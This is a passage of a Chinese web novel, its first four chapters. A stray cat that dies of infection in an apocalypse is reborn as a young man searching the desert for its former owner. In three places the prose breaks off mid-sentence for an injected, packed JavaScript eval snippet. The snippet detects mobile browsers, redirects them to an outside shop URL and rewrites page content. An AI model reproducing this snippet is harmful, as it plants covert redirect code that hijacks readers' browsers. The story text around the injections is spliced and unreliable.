《咪的遗产》 1. 第 1 章 如果世界颠倒,那么天空便是深渊。 在灾难降临的那一刻,很多人才发现,深渊中的星星是彩色的。 太阳陨落,长夜将至。 这曾经是一座四季如春的城市,第一次让人产生了颤抖着披上羽绒服的冲动。没有太阳,也看不见月光,黑暗中的星星不再是单调的白色,蓝、紫、红、黄,明灭闪烁。 气温还在下降,每一阵风吹过,都像狠狠打在脸上的一记巴掌。 更糟糕的是,下雨了…… 也好在只是下雨,或许明天开始就会下雪,天气只会一天比一天更加寒冷恶劣。 雨越来越大,货车一辆一辆的停下,不断的物资从车上搬下。衣服、食物,还有药物。还远远不足。 寒冷只是太阳消失后的最初表现,随后氧气变得稀薄,一些人开始头疼、头晕、恶心、呼吸困难,产生高原反应,紧接着奇怪的疫病开始伴随着黑暗蔓延。 不只是人类,恶变在绝大多数动物和植物之间互相传播。包括小猫。 雨水打湿了一只小猫的绒毛,像被嗦过的可怜芒果核。 小猫一瘸一拐,钻入坍塌的建筑物。狭小的空间让它能稍微放松警惕,暂时忘记身体的疼痛。 它将自己感染恶变的身体缩成很小的一团,趴在地上,垂下脑袋无力的喘息着。 病毒进入感染者的体内,悄无声息的疯狂繁衍,渐渐渗透血液,控制住感染者的每一块骨头和每一块肌肉,让感染者无法按照自身想法行动,最后剥夺他们的意识思维,成为一具行尸走肉。 小猫匍匐着,它显然已经被病毒感染,柔软的身体偶尔不听话的抽搐,粉色的爪子开花,无意识的在地上扒拉几下,留下一片凌乱的小爪印。 沾满雨水和泥土的小爪印,是似曾相识的场景。 吱吱是一只流浪猫,从小就没有见过妈妈的流浪猫。更糟糕的是,它是一只白猫,经常遭到同类的排挤。 几年前的一个雨天,它举着鸡毛掸子一样灰扑扑的白色大尾巴,钻入栅栏后的雨棚避雨,灵巧的跳上一辆电动车车座。 三秒钟后,被一位中年男性两脚兽驱赶,只好夹着尾巴钻入角落,寻找更安全的休息点。 等两脚兽走后,小猫探头探脑,重新跳上一辆自行车的车座,警惕的扭着头张望。似乎是感觉危险,一连踩过四五辆电动车,选了最角落的一辆趴下。 踏、踏、踏…… 是脚步声。 又有人来了。 小猫小心翼翼抬头,距离很远,暂时安全。 这次是一位年轻两脚兽,还是男性。对于猫来说,人类的长相不重要,猫咪多少都有点脸盲症。 年轻人戴着厚重眼镜,背着双肩包,看起来像是一位学生。头发被雨水淋的湿漉漉,和小猫一样狼狈。 他找到自己的自行车,一眼就看到上面两只小爪印,还很新鲜。 小猫躲在角落暗搓搓观察着年轻人,就见年轻人掏出纸巾,很自然的将车座上的爪印擦掉。 然后他侧头看看旁边,隔壁的车座上也有爪印,一连好几辆电动车上都有。 年轻人看起来时间充裕,拿着纸巾将五辆车上的爪印全部擦干净,擦着擦着,就发现趴在角落的“罪魁祸首”。 对上视线了。 小猫呲牙,戒备! 逃跑还是偷袭?小猫正在犹豫。 年轻人趁它思考的刹那,双手一抄,直接将小猫抓住,动作相当纯熟,绝对是个老手。 离开那间雨棚之后,小猫结束了流浪生活,有了一个新家,一个铲屎官,和一个新名字,叫吱吱。 听铲屎官说,那天他本来是想要去买一只白色仓鼠作为生日宠物,连名字都提前想好了,就叫吱吱。没想到…… 在路上捡到一只很想和他回家的猫…… 自从来到新家后,吱吱试图逃跑过几次。 都以失败告终。 是陌生却不会被驱赶的环境,是喷香却不用亲自捕猎的食物。 还有铺着三层软垫的小猫窝。但吱吱不喜欢,它更喜欢被两脚兽随手扔在阳台的那只破纸箱。 两个星期过去,小猫举着蓬松洁白的大尾巴,巡视在明亮宽敞的客厅,这已经是属于它的领地。 吱吱发现,拥有一个专属铲屎官两脚兽,也不是什么坏事。 除了铲屎官新买回来的饮水器,小猫呲牙,总是在它喝水的时候偷袭它,导致它不甚呛水,而且难以驯服。 每当这个时候,戴着厚重眼镜的两脚兽就会蹲在小猫身边,手舞足蹈的比划,反反复复的不停叽里咕噜。 吱吱高傲的抬起小下巴,用蓝宝石一般的双眸扫了他一眼,优雅转身,甩着尾巴离开。 叽里咕噜的在说什么,根本听不懂。 第二天,无奈的两脚兽带回了新的小猫饮水器。 两脚兽废了很大力气教会吱吱怎么使用饮水器,当然也教会了吱吱怎么使用猫砂盆。 小猫发现,它的铲屎官有些特殊癖好。比如…… 吱吱每次开始在猫沙盆里刨坑,准备解决大问题的时候,两脚兽必然会立刻走过来,蹲在旁边,面带微笑,目不转睛。 更让吱吱不理解的是,偶尔他还会手拿猫条出现在猫砂盆旁边。 在猫咪拉屎的时候喂小零食,这像话吗? 吱吱努着嘴巴,胡须一抖一抖,全身都在用力,这个时候却还要分神抵抗食物的诱惑。 笨蛋铲屎官! 吱吱想,你最好今天晚上睁着眼睛睡觉! 小猫是记仇的,一连报复了两脚兽三天三夜。然后两脚兽将它装在新买的小笼子里,带它出门了。 吱吱在笼子里不安的走来走去,完蛋了,他要丢了我。 小猫夹着嗓子喵喵叫,急的眼睛湿漉漉。 铲屎官将它带到一个陌生的房间,开始和一穿着白大褂的陌生两脚兽#交流。 小猫竖着耳朵侦查,危险解除,两脚兽不是要遗弃它。至于他们来干什么,吱吱暂时不知道。 吱吱困得差点睡着,被抱到一张小床上,平躺下来,展开四肢,然后…… 它被绑在了那张小床上! 小猫呲牙,尖叫反抗。 白大褂戴着口罩,安抚着说:“绝育很快,不用担心。” 吱吱迷茫,绝育是什么? “真,真真的吗?吱吱,会不、会不会很疼?” 吱吱的铲屎官说话向来有些结巴,尤其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17414964|200740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是在紧张的情况下。 白大褂说:“小母猫到了年纪是一定要绝育的,这是对宠物负责。公猫的话,做不做绝育是可以选择的。” 吱吱迷茫,小母猫?在说谁? 就差一点点,吱吱就要被当成小母猫绝育,幸好还有术前检查。 医生告诉铲屎官,吱吱是一只小公猫。 吱吱恢复自由,跳到震惊无比的铲屎官怀里,举起粉色小爪子,对着那厚重的眼镜就是邦邦两拳。 小猫是记仇的,接下来一个星期,两脚兽都没能睡一个安稳觉。 吱吱觉得它的铲屎官太笨了,好几次都在认真考虑,要不要换个聪明铲屎官。 小猫盯着藏在马桶背后缝隙里的鱼干、小球、纸箱和皮筋…… 这些是小猫的宝藏,小猫舍不得它们。 还有笨笨的铲屎官,也有那么一点舍不得…… 雨还在下着。 噼里啪啦砸在地上,凝结成冰渣,天气越来越冷。 小猫盯着地上乱七八糟的爪印一直在出神,窒息的感觉让它从美好的回忆中清醒。 恶变在它小小的身体内不停加剧。没有时间了…… 小猫蓝色的眼睛已经失去光泽,不用等到病毒完全控制它整个身体,并发症已经让它奄奄一息。 吱吱想,虽然舍不得,但我不能拖累他…… 灾难降临开始,气温越来越冷,整个世界越来越混乱。人类已经无法在昔日繁荣的城市继续生活,想要活下去,就必须转入地下城。 地心的温度暂时保护着地下城的安全,可那里远不如地表的宽阔。只有少数人才能拿到进入地下城的通行证。 上个月,吱吱的铲屎官拿到了第一特区地下城的通行证。糟糕的是,那里规定宠物不可进入。 两脚兽决定放弃前往第一特区。 上个星期,两脚兽千辛万苦得到第三特区的通行证,那是唯一允许宠物进入的地下城。 两脚兽很高兴。 吱吱很悲伤…… 小猫发现,它很可能在不知不觉中感染了恶变。就算宠物允许进入地下城,它也必须被放弃。 虽然很不舍,但必须要离开。 吱吱想,我不能再拖累他了。 趁着两脚兽不注意,时隔多年,小猫再次越狱,轻轻松松打开房门。 它好像听到两脚兽在呼唤它的名字,可熟悉的气味已经消失在陌生的环境之中。 吱吱想,我不可以再回去了。 小猫忍耐着疼痛,蜷缩在黑暗的角落。 它颤抖着举起脏兮兮的小爪子,在墙壁上印下一串歪歪扭扭的爪印。 笨笨的铲屎官: 当你看到这封信的时候,咪可能已经无法再陪伴你了。 把咪的罐头,分给有需要的流浪猫。咪的皮筋、小球和阿贝贝,都藏在洗手间马桶水箱后面。如果有人能代替咪保护咪笨笨的铲屎官,咪愿意把最喜欢的阿贝贝送给他。 人,咪只是偶尔在爱你和骗吃骗喝之间左右摇摆。 人,咪走以后不要伤心,只哭一下下就好。 人,末世虽然很坏,但人一定可以努力活下去。 人,你是咪最大的遗产…… 2. 第 2 章 人常说,猫有九条命。 虚弱的吱吱趴在地上,这样拙劣的谎言,恐怕只有笨笨的铲屎官会相信。 小猫想…… 如果谎言是真的,应该也不坏。 小猫闭上眼睛。 世界在它蓝宝石般的眼睛里越来越黑暗,世界在它毛茸茸的耳朵里越来越安静。死亡原来这么平和,远没有想象中恐怖。 希望和愤怒渐渐远去、抽离,除了……还有一点点遗憾。 …… 好热。 真空般的黑暗突然被打破,炙热的感觉灼烧着每一寸皮肤,刺辣辣的。 热到呼吸急促,热到浑身冒汗,热到忍不住想要伸出舌头。 这不可以。 吱吱想,小猫不可以伸着舌头粗喘,狗里狗气,很傻。 明亮的光线穿透了眼皮的遮挡,就算不睁开眼睛,也能感受到太阳的炙热。 他忍不住好奇,缓缓睁眼…… 好亮。 是太阳! 就悬挂在头顶正上方。 那是小猫从未见过的太阳,出奇的大,出奇的亮,仿佛一伸手就能触碰到,近的让他感觉有些压抑和危险。 讨厌的末世已经被打败了吗? 小猫天性警觉,陌生的环境让他不安,双眼眨动着迅速扫视,将周围情况录入大脑。 沙漠…… 这是一望无垠的沙漠,到处都是暗红色的沙子。 小猫从没有去过沙漠,这个词语并不存在于他的脑袋里,但这不妨碍他的震惊。 好……好大一个猫砂盆! 超豪华的! 抿抿嘴唇,蠢蠢欲动,两只爪子已经抬起,做出刨坑的预备动作。 可是爪子…… 小猫再一次震惊,爪子不见了! 没有温暖的毛皮,没有锋利的爪子,就连让铲屎官迷恋的粉色小肉垫也不翼而飞。 一位身材略显消瘦的少年独自站在危险的红色沙漠中,他看起来最多十八九岁,青涩又迷茫,正高高举着纤细白皙的双手反复翻转。 “手……”这是两脚兽的手。 少年艰涩的吐出一个单音。 高举的双手在下一秒捂住脖子,这是什么声音?是我在说话吗? 小猫不是这么说话的,这是属于人类的声音。 “我……”少年不敢置信:“变成……两脚兽了?” 这恐怕就是铲屎官曾经说过的下辈子吧?少年认真思考。他的铲屎官很喜欢将他抱在怀里,摸着他的小脑袋,在他耳边不停的叨念…… ——下辈子,吱吱还要做我的小猫。 他也不记得这句话听了几十遍还是上百遍。奇怪的是,有口吃症的铲屎官,每次说这句话的时候,都没有打一个磕巴,相当流畅。 “太好……了。” 少年语速缓慢,吐字也有些不太清晰,但这都难以掩饰他的喜悦。 他可以重新回到铲屎官的身边,比在床底下找到新的纸箱还要高兴,比偷偷咬破一柜子猫条还要兴奋。 回家! 回去找他的铲屎官,回去玩他的阿贝贝,回去一口气吃掉两个罐罐。 “等……等……” 少年眨眼。糟糕,我已经留信,把罐罐都分光了。还有小球皮筋和阿贝贝,可能已经在昨天成为了别猫的玩具。 少年颓废的蹲下,焦急的用十指扣着地上红色的沙子。 “烫!” 少年跳起,吹吹纤细的指尖。 罐罐会有的,小球和皮筋也会有新的。少年咬住下唇,现在最重要的是,不能把铲屎官让给别的猫。 少年想,没有别的猫比我更加勇敢,只有我才能保护好笨笨的铲屎官,笨笨的铲屎官只能给我一只猫剪指甲梳毛洗澡。 更何况…… 他们早就约定了下辈子。 小猫最讲诚信,小猫不会违背诺言。 少年下定决心,抬脚就往前走。 “唉……” 差点摔倒。 重生没有抽到原皮,少年显然不适应人类的走路方式,四肢处于还未被驯服的阶段。 他颤悠悠站起,僵硬的向前移动出十米,鞋子里已经钻满了炙热的沙子,相当难受。 更棘手的是,这是哪里?家在哪里?铲屎官在哪里? 少年迷茫的望着无边无尽的沙漠,怎么才能从豪华猫砂盆里出去? 啪嗒—— 一样东西从他的身上掉落,从衣袋里滑落。 少年蹲下,试探性用手指敲了它两下。安全,捡起。 是一张再普通不过的ID卡,用红色的绳子串着,上面清楚的写着持有者的名字,生日,和住址等等,还有一张一寸相片。 很显然,这就是少年的ID卡。 照片上的少年看起来完全无害,一双眼睛清澈漂亮,鼻梁不算太高,是微翘的小猫鼻,唇角带着浅浅的笑容。 姓名:南知 生日:4月27日 住址:第3特区 南知,这是他现在的名字。 在看到这张ID卡的时候,少年的脑袋里浮现出一些很不真切的画面,就像一本故事书,字很多,密密麻麻,对于一只小猫来说,读起来很费劲。 他能看到很多陌生的面孔,从脑袋里不停的走过,用不同的表情叫着他的名字。 ——南知。 ——南知。 ——南知…… 少年摇摇头。 “4月27日……” 显然他对这组数字更感兴趣。 这是他和铲屎官相遇的日期,每年的这一天,铲屎官都会带着蛋糕模样的罐罐回家庆祝。 “第3……特区!” 南知用指尖戳着ID卡上的这几个字,一字一顿的郑重念着。 没错,就是第三特区。 少年想,没有我的拖累之后,铲屎官应该会去第三特区吧,那里应该是铲屎官的新家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17414965|200740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只要找到第三特区,就能找到铲屎官。 南知坚定的点头,目标就是第三特区。但问题仍然没有解决,他还不知道第三特区在哪个方向。 如果这个时候可以找个人问路就再好不过。 偌大的沙漠没有尽头,除了南知以外,看不到任何人。 “能看到一只猫也好……” 只有一轮过热的太阳,热到少年头晕脑胀,甚至产生幻觉,仿佛听到滋滋的烤肉声,闻到香喷喷的烤肉味。 随便找了个方向,少年踏上旅途。至少要先找个地方遮阳,否则真的会变成一盘烤肉,还是烤焦的。 南知一路向北,沙地上留下他七扭八歪的脚印。 好渴…… 好饿…… 好烫…… 到处都是沙子,除了沙子根本什么都没有。 少年已经开始怀念被他打翻的羊奶,被他嫌弃的湿粮。好想偷喝铲屎官杯子里的水,甘甜、醇香……南知舔舔干裂的嘴唇。 炎热使沙子冒烟,使空气扭曲。南知又舔了舔嘴巴,呆呆的看着前方,喃喃低语:“我……好像看到幻觉了。” 小猫的视觉不算很好,是绝对的“近视眼”,看不清楚太远的,也看不清楚太近的,通常都是靠嗅觉来分辨人类和食物等等。 然而嗅觉过于灵敏也不是什么好事,在一个开放的环境里,太多的味道掺杂在一起,各种干扰层出不穷,会让南知很苦恼。 少年揉揉眼睛,努努鼻子。 纸箱! 是一只纸箱,突兀的出现在沙海中。 少年警惕:“这里怎么会有一只纸箱?” 好大的纸箱。 里面装的什么?谁把它扔在这里的?太奇怪了,仿佛一个简陋的陷阱! 但那是个纸箱! 南知双眼越睁越大,闪烁着兴奋的精光,对于一只猫来说,纸箱的诱惑实在无法抵御。 “不不不……” 少年双手在面前不停挥舞,脑袋也左右摇摆。找到铲屎官才是最重要的事情,不可以因为一只纸箱就分神。 铲屎官比一个纸箱重要。 南知坚定的说:“铲屎官至少值八个纸箱。” 但…… 少年的意志开始摇摆。如果我能带着这个纸箱找到铲屎官,就可以将这只纸箱送给他当礼物,他肯定会很高兴的吧? 没错,他一定会高兴的。 南知坚定的朝着纸箱走过去。因为一个纸箱,他差点忘记了饥饿和炎热,浑身充满动力。 小猫兴奋,但小猫天生就很谨慎。 少年一点点朝着纸箱移动,目光紧盯,确保他不会被纸箱突然袭击。 距离越来越近,南知漂亮的脸上出现了一瞬间的空白,鼻尖控制不住的轻轻耸了耸。 好熟悉的味道…… 是铲屎官独特的味道,仿佛已经失去了很久很久,又仿佛昨天他们才拥抱在一起。 是从纸箱上传来的味道。 3. 第 3 章 南知一直觉得他的铲屎官的味道很特别。像一阵暖洋洋的风,分明温柔却很多时候不被注意。像一颗繁茂的大树,郁郁葱葱却又安静沉稳。还有点焦糖蜂蜜的香甜。 就是这个味道! 少年看起来很兴奋和焦急,踮着脚尖快步跑过去,围着那只大纸箱顺时针转了三圈。 纸箱大约四十厘米见方,材质不差硬度很好,但现在还是被磕瘪了两个角,应该是被狠狠摔过,上面沾染着红色的砂砾。 没有破洞,无法看到里面到底装了什么。 南知用力吸了吸鼻子。 “咳咳咳!”少年捂住口鼻剧烈咳嗽,里面的味道太过复杂了。 铲屎官在箱子里吗?南知满脸迷茫,脑补了一下两脚兽宽宽的肩膀,还有比逗猫棒长很多的胳膊腿。 装不下…… “总之!”南知抿唇,点头:“打开箱子看看就知道了。” 长相温和的少年很自然的举起右手,指尖伸出,在箱子表面一划…… 无事发生。 南知一呆,看看箱子,又看看“爪子”。 “我的指甲……” 糟糕,变成两脚兽后连指甲都不好使了。 少年的手指纤细白皙,指甲圆润光滑,完全不适合用来开纸箱。只好蹲下,对着纸箱又啃又抓,还气急败坏的踹了两脚。 以前遇到搞不定的麻烦,小猫都会举着大尾巴去找他的铲屎官,只要喵喵叫两声,小猫想要,小猫得到,铲屎官都会立刻帮他解决。 和现在的情况完全不同。 南知脸颊通红,一半热的,一半急的,嘴里自言自语:“我可以自己解决,没问题。” 徒手开纸箱对于一位见习人类来说稍微有些难度,少年斗志昂扬,五分钟后,终于将摔瘪两个角的纸箱扯开。 哗啦—— 里面满满当当的东西,随着扯开的纸箱缝隙散落、滚出。 全都是玻璃瓶子,掌心大小,像海浪一般在砂砾中翻滚几圈,停止在南知的脚边。 数不清的瓶子,统一规格,里面的液体在浓烈的日光照耀下不停晃动。还有小球…… 每个瓶子里都盛有一枚小球,两到三厘米大小的小球,随波晃动,左右摇摆。 就算有玻璃瓶子阻隔,有液体的密封,刺鼻的气味还是让南知忍不住呲牙。 好难闻,是腐肉的味道,还有火腿肠的味道。是一股在垃圾桶里加入了防腐剂的味道。 南知不喜欢腐烂的肉,也不喜欢吃火腿肠。 少年嫌弃的退后两步,目光戒备的盯着距离他最近的一只瓶子。瓶子里的小球也在注视着他。 三目相对。 瓶子里装的是一枚人类眼珠。 这么大的箱子里,只有人类的眼球,几十枚眼球。 铲屎官的味道就混合在这些眼球之中…… 少年的胳膊上激起一片细密的小疙瘩,每个汗毛孔快速张开。他睁大眼睛,顾不得难闻的味道,迅捷的扑过去,蹲在破损的箱子和一堆眼珠之间,用力耸动鼻子,不停的闻来闻去。 “不是,不是,也不是……” 南知将每一个小瓶都仔细的嗅闻过,那些眼珠都不属于铲屎官。 “不是铲屎官的眼睛,呼——”确定过最后一只小瓶,他松了口气,手掌在胸口轻拍。 小猫一直都很嫌弃铲屎官佩戴的厚厚眼镜,但相对比起来,独眼应该会更难看吧。南知想。 这里没有铲屎官的眼睛,南知放松过后又被疑问围绕,可他的确闻到了铲屎官的味道,不会出错。 少年随手抓了几个小瓶子,重新闻了闻,都不对。 “是纸箱!” 南知双眼闪烁着光芒,抱住破损的大纸箱,用力吸气。就是这个味道! “纸箱……纸箱上,有味道!有他的味道!” 他兴奋的围绕着纸箱转了五圈,脑袋有点晕晕的,差点摔倒在地。南知捂着脑袋蹲下,正好看到纸箱上印着一个红色的印章。 “九?” 少年迷惑的伸出手,指着印章上的字,脑袋里缓慢的浮现出那些字的读音。 “第九特区?” 那是什么…… 嘭!!! 不等南知解开疑惑,一声古怪的爆响,惊得他汗毛倒竖。 少年单薄的身体本能弹跳,侧身翻滚,动作迅捷的无法用视觉捕捉。 小猫通常都是近视眼,但对于移动中的物体反应极快。 是枪响。 沙地上出现一个深坑,好在南知没有被击中。 “不许动!” 背后放枪的人大喊着:“不许动!远离那只箱子!” 南知回头去看,本能的呲牙哈气。是三个男性人类,站的稍微有些远,在他的眼里模糊一团,五官无法辨认,只能大体看出身高。 中间最高的那个人举着枪,朗声说:“别动,这只箱子是属于我们的。我们只是想要拿回它,没别的意思。” 南知立刻站起靠近纸箱,那上面有铲屎官的味道,他不能让别人将纸箱带走。 高个子呵斥:“让你不要动!否则我就开枪了!远离!” “别开枪别开枪!”三人中最胖的一个男性突然大喊:“你们看,是南知!他是南知啊!” “什么?你在胡说什么?他怎么可能是南……” 剩下的青年下意识反驳,话说一半全部卡在嗓子里,变成重重的抽气声。 “南知?”高个子震惊:“你居然还活着?” 青年在短暂的怔愣之后,尖锐大喊:“开枪!开枪!快开枪啊!愣着什么,他已经恶变了!快开枪!你们想等着他来感染我们吗?那样我们都会死的!” “等一等。”胖子犹豫着说:“南知不像恶变的样子,他看起来神志清醒,或许……” “把枪给我!”青年去抢。 场面一度混乱,南知根本搞不懂发生了什么。那三个两脚兽好像认识他,但小猫的第六感不喜欢他们。 “冷静点,先别开枪。” 嘭! “啊!!!” 青年在阻拦中扣下扳机,伴随着第二声枪响,尖锐的痛呼声响彻炎热的沙漠。 并不是南知发出的尖叫,是那位青年人在痛呼。 就在刚才混乱的一瞬,南知抓起地上一只玻璃瓶,抖手朝着青年人扔了过去,与此同时侧身一扑。 人类无法以肉眼捕捉蚊子或者苍蝇的飞行轨迹,也无法做到像小飞虫一样迅捷。但小猫可以,南知甚至比那些小飞虫还要迅捷数倍。 玻璃瓶精准的砸中青年,疼得他放声尖叫,手中的枪立刻掉在沙地上。 南知侧身避过打歪的子弹,一个旋身长身站起,完全没有对方那般狼狈。 青年人大喊着:“我的手……好疼!好疼……” 装着眼珠的小瓶破碎,玻璃划破了青年的手腕。瓶子里的液体是具有腐蚀性的,灼烧着他的皮肤,变得坑坑洼洼。 高个和胖子看到青年受伤,都没有第一时间去扶他,而是举起枪对准远处的南知,都被他迅捷的动作吓了一跳。 “别开枪。” 这次是高个在说话:“你们看他的脸。” 正巧,南知正在用手背去蹭自己的脸。有些略微的刺痛,流血了,很少的一滴血液。 子弹没有打中南知,只是打在沙地里,但迸溅起的砂砾划破了他的脸颊,留下微小的一道伤口。 胖子震惊的说:“他的血是红色的。” 青年忍着疼痛,顾不得溃烂的右手,踉跄站起,喃喃的说:“怎么可能?他不是恶变了吗?血液怎么可能还是红色?这不可能啊,除非……” “除非,”高个子沉着嗓音说:“他克服了恶变。” 这句话一出口,不管是青年还是胖子,亦或者是高个,三个人脸上的表情都变得异常丰富。 震惊、恐惧、不甘、嫉妒又欣喜、庆幸,每个人每一秒的表情都不一样。 三个人六只眼睛死死盯在南知的身上。很显然,那箱东西与现在的南知对比起来,已经不再那么重要。 “误会,都是误会。”青年第一个开口,挤出过于亲切的笑容说:“南知,是我们!你才离开两个月,不会已经忘记我们了吧。” 南知目光并不友善,盯着他的眼睛不说话。 “南知,对不起。”青年诚恳道歉:“我刚刚……刚刚距离太远了,我没有看清楚是你,所以才会开枪的,你别怪我,好吗?” “骗子。”南知这次开口了,言简意赅。 青年一愣,谎言瞬间被拆穿,笑容迅速凝固干涸。 胖子干笑着打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17414966|200740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 圆场,说:“南知,你先别生气。刚才大家还以为你要抢我们的货物,这可是我们千辛万苦弄来的货物,所以着急了一些。” 胖子指的货物,就是那只纸箱和一箱的眼珠。 南知戒备,往前走了两步,挡住纸箱。 青年咬牙:“你什么意思?这是我们弄来的货物,是不小心掉落在这里的,你是要和我们抢吗?” 南知没有立刻回答青年,转身弯腰,靠近纸箱用力闻了闻。 他说:“不是。” 又是如此言简意赅,让人摸不着头脑。 其实南知也想多说几个字,但新的语言系统显然不太好掌握,让纤细漂亮的少年少了三分无害,多了几分清冷。 青年都被他搞糊涂了,说:“你的意思是,你没有要和我们抢?” 清冷少年对他翻了个白眼,摇头说:“不是你们的纸箱。” 对面三个人沉默了。 南知很肯定,纸箱不是他们的,纸箱上没有他们的气息。 谎言再次被拆穿,这次高个子终于说话了,首先将手枪收起来,这才开口说:“你猜的不错,这不是我们的货物。我们收到消息,第九特区的运输队会从沙冢经过,所以特意来碰碰运气的。” 南知略微歪头:“第九特区……” 纸箱上有一个第九特区的印章,上面还有铲屎官独特的气息。 少年眼睛里有小星星在闪烁,明显对高个子的话感兴趣。 胖子点头说:“对,这东西是第九特区的,我们也只是来碰碰运气,没想到他们真的在沙冢遭遇了埋伏,有好几口箱子被遗落在沙冢。” 青年着急的说:“这些箱子是我们先找到的,只是没办法一口气运回帐篷,所以才暂时放在这里。这是我们的。” 南知还挡在那只破箱子前面,很淡定的说:“现在,它,是我的。” 青年攥拳,被高个子拦下。 高个子说:“一箱货物而已,别伤了和气。那好,这口箱子现在属于你了。” 青年有些不甘心,旁边的胖子也对他摇摇头。 胖子笑呵呵说:“南知,你离开之后去了什么地方?现在要去什么地方?” 南知不回答,弯腰将纸箱里的瓶子都倒掉,然后爱惜的抱起那只空箱子。 “你在干什么?”青年有些傻眼。 高个子忽略了他古怪的举动,说:“你一个人?什么也没带?” 南知的确是一个人,身上除了衣服、鞋子和一张ID卡,什么也没有。 “你想这么走出沙冢?”高个子说:“这是不可能的事情。或许……你愿意搭我们的车离开这里?” 南知抱着纸箱,高傲的施舍给他一瞬的目光。 “车呢?”少年问。 沙漠看不到边际,太阳愈发毒辣,南知早就想要离开这里,徒步绝对不是什么聪明的办法,现在如果有一辆车就再好不过。 南知抱着箱子第一个上了车。 青年拉住胖子,在后面低语:“他这么轻松就答应上我们的车了,会不会有诈?” 胖子摇摇头,压低声音说:“小点声。” 是一辆很宽敞的越野车,被改造过,看起来相当结实。高个子原本想让南知将纸箱放在后备箱,但南知坚持自己抱着。 高个子妥协点头,对窃窃私语的青年和胖子说:“你们去把散落的东西捡一捡。” 装着眼珠的小瓶子散落了一地,南知对它们没兴趣。 花费了几分钟,越野车终于启动。 胖子开车,笑呵呵看了一眼后视镜,问:“南知,你这是准备去什么地方?我们送你去啊。” 抱着纸箱的少年坚定的说:“我要去第三特区。” “第三特区?”三个人听了都是一愣,表情变得古怪。 青年难得垂着眼睛,没有第一个开口,沉默的包扎着他受伤的右手。 高个子说:“你还去第三特区做什么?那里已经彻底沦陷了。” 南知侧头看他。沦陷了是什么意思?需要在脑袋里思考几秒钟。 铲屎官拿到了第三特区的通行证,铲屎官说那里是安全的,会是他们的新家。所以南知要去第三特区找铲屎官。 青年低着头,嗓音闷闷的说:“第三特区已经沦陷了,所有人都死了……还回去做什么?” 4. 第 4 章 “死……了……” 南知脑袋里有一瞬间的空白,眼睛控制不住的睁大,眼睛控制不住的充血、发热、发酸。 曾经有很多个夜晚,他的铲屎官总会沉睡不醒,一动不动。就像…… 就像他们说的死了一样。 每当那个时候,小猫都会围着大床左右逡巡,谨慎的跳上枕头,在铲屎官脸上闻来闻去,然后对着铲屎官高挺的鼻梁邦邦两拳。 “他不会,死。”南知回过神,坚定的说。 铲屎官只是喜欢装死而已,南知觉得这是他的恶兴趣。 “谁?”低着头包扎的青年随口说:“三区已经变成一片废墟,死的死,感染的感染,能逃走的早就逃走了,就像……我们一样。” 南知歪头,没说话,但他在想什么,几乎全部写在脸上。 漂亮少年满脸疑惑。 这让其他三个人同样满脸疑惑。 青年凑近高个子,低声耳语:“他怎么了?看起来傻了吧唧的,一副什么都不记得的样子。” 高个子摇了摇头。 青年还想再说,已经被南知狠狠瞪了一眼。 南知的视力不太好,耳朵却比正常人类灵敏。 他们在说我的坏话。 高个子看向南知,说:“你离开三区后,还好吧?” “是啊。”开车的胖子也说:“南知,你还好吧?你还……记得我们吧?” 他们四人都来自第三特区,显然以前是认识的关系,但再次见面的时候,南知给人感觉完全不一样了,相当陌生。 “你不会失忆了吧?”青年忍耐再三,还是大声说出了他的疑问,然后指着开车的胖子:“你说,他叫什么名字?” 南知淡定,用不屑一顾的目光扫过发问的青年,说:“没有告知的义务。” 青年:“……” 人类的词语对于南知来说,还有点复杂和不理解,懵懂少年正处于已读乱回的阶段。 青年脸色发青,忍了又忍,继续低头包扎伤口。 车内是一阵尴尬的沉默。 只有南知全然不觉得尴尬,眨了眨眼睛,说:“第三特区发生了什么,告诉我。” 高个子别有深意的看了一眼南知,说:“你忘记了,外来者到三区掠夺资源,三区被袭击,战争爆发,死了很多的人……” 自从灾难开始之后,各地的战争就没有停歇过。环境恶劣,资源短缺,没有人甘愿静静的等待死亡,开始疯狂掠夺属于他人的生命。 几股外来势力凝结在一起,对三区发起了偷袭,本就衰败的城市充满血腥和绝望。 “然后在混乱中,”高个子深吸一口气,说:“感染爆发了。” 南知下意识咬紧后槽牙,露出戒备的神情。 小猫很了解感染,因为小猫就死于可恶的病毒感染。 R病毒一直蔓延在这个世界,目前还没有解决它的办法。病毒一旦进入体内,就会在血液中不停的繁殖、积攒,不论是人类还是动物,都会很快丧尸自主行动能力,像个傀儡一样被病毒控制身体。 感染者的血液暴露在空气中,会变成诡异的蓝色。蓝色越浓,恶变情况越严重。所以这种恐怖的病,也被人类叫做蓝血病。 